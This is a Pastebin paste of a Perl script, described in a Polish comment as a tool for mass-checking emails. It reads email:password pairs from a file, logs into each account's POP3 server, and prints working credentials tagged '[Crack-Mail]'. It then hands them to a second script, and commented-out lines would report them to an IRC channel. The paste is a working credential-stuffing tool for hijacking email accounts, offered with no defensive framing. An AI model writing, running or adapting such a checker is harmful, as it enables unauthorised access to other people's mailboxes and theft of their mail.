Advertisement
Guest User

Untitled

a guest
Dec 10th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.53 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket::INET; # skyrpt do masowego sprawdzania maili , pozdro S.
  3. my $save = "./users.txt";
  4. my $czaj = $save; open(FILE, $czaj); print("open $czaj \r\n");
  5. while(<FILE>) {
  6. my $jo=$_; chomp $jo; $jo=~s/\n//; $jo=~s/\r//;
  7. if($jo=~ /(.*)\@(.*):(.*)/g){
  8. my $mail = $1; my $dom = $2; my $pass = $3; my $cal = $mail.'@'.$dom.':'.$pass;
  9. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &pop3($cal); } }
  10.  
  11. } sleep 1; # need ?
  12. }
  13. close(FILE);
  14.  
  15. sub pop3() {
  16. my $dork = $_[0];
  17. my ($user,$password)=split(/:/,$dork);
  18. my ($lol,$host) = split(/@/,$user);
  19. #send_msg($channel,"Dork: $dork USer: $user Pass: $password Dom $host Lol: $lol ");.
  20. if($sockz = new IO::Socket::INET (PeerAddr => $host,PeerPort => 110,Proto => 'tcp',Timeout=>'2')){
  21. $n = sysread($sockz, $buffer, 4096);
  22. if (substr($buffer, 0, 3) ne "+OK") { print "Problem with pop server\n"; exit(0); } else { print "$buffer"."Opening message successfully read\n"; }
  23. $buffer = "USER $user\r\n";
  24. syswrite($sockz, $buffer, length($buffer));
  25. $n = sysread($sockz, $buffer, 4096);
  26. if (substr($buffer, 0, 3) ne "+OK") { print "Username incorrect\n"; exit(0); } else { print "USER command successfully sent\n$buffer"; }
  27. $buffer = "PASS $password\r\n";
  28. syswrite($sockz, $buffer, length($buffer));
  29. $n = sysread($sockz, $buffer, 4096);
  30. if (substr($buffer, 0, 3) ne "+OK") { print "Password incorrect\n"; exit(0); } else { print "PASS command successfully sent\n$buffer"; }
  31. $buffer = "STAT\r\n";
  32. syswrite($sockz, $buffer, length($buffer));
  33. $n = sysread($sockz, $buffer, 4096);
  34. chop $buffer; chop $buffer;
  35. ($OK, $messages, $octets) = split(/ /, $buffer, 3);
  36. if ($OK ne "+OK") { print "STAT command error\n"; exit(0); } else { print "STAT command successfully sent\n$buffer\n"; }
  37. $mess = "message"; if ($messages != 1) { $mess.= "s"; } $octmess = "octet"; if ($octets != 1) { $octmess.= "s"; }
  38.  
  39. print "POP server \"$host\" has $messages $mess "; print "for \"$user\" ($octets $octmess)\n";
  40. #&send_msg($channel," [Crack-Mail] User 4 $user Password:9 $password Email: has $messages $mess ");
  41. print " [Crack-Mail] User $user Password: $password Email: has $messages $mess aVe\n";
  42. `perl ./../toti.pl $user $password $host`;
  43. $buffer = "QUIT\r\n";
  44. syswrite($sockz, $buffer, length($buffer));
  45. $n = sysread($sockz, $buffer, 4096);
  46. if (substr($buffer, 0, 3) ne "+OK") { print "QUIT command error\n"; exit(0); } else { print "QUIT command successfully sent\n $buffer"; }
  47. close ($sockz);
  48. } exit(0);
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement